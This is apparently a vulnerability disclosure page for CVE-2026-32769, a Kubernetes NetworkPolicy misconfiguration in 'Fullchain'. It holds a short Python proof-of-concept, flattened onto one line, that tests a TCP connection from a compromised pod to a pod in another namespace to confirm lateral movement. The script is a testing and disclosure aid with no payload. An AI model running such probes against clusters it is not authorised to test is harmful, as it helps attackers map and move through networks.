CVE-2026-32769 Fullchain NetworkPolicy配置错误漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-32769: Fullchain NetworkPolicy Misconfiguration Description: This script attempts to connect to a target Pod in a different namespace from a compromised Pod to demonstrate the lack of network isolation. """ import socket import sys def check_connectivity(target_host, target_port): try: print(f"[*] Attempting to connect to {target_host}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_host, target_port)) if result == 0: print(f"[+] SUCCESS: Connection established to {target_host}:{target_port}") print("[+] NetworkPolicy isolation is bypassed.") sock.close() return True else: print(f"[-] FAILED: Connection refused to {target_host}:{target_port}") sock.close() return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print(f"--- CVE-2026-32769 PoC ---") if check_connectivity(target, port): print("[!] Vulnerability confirmed: Lateral movement possible.") else: print("[!] Target unreachable, but might be due to other firewall rules.")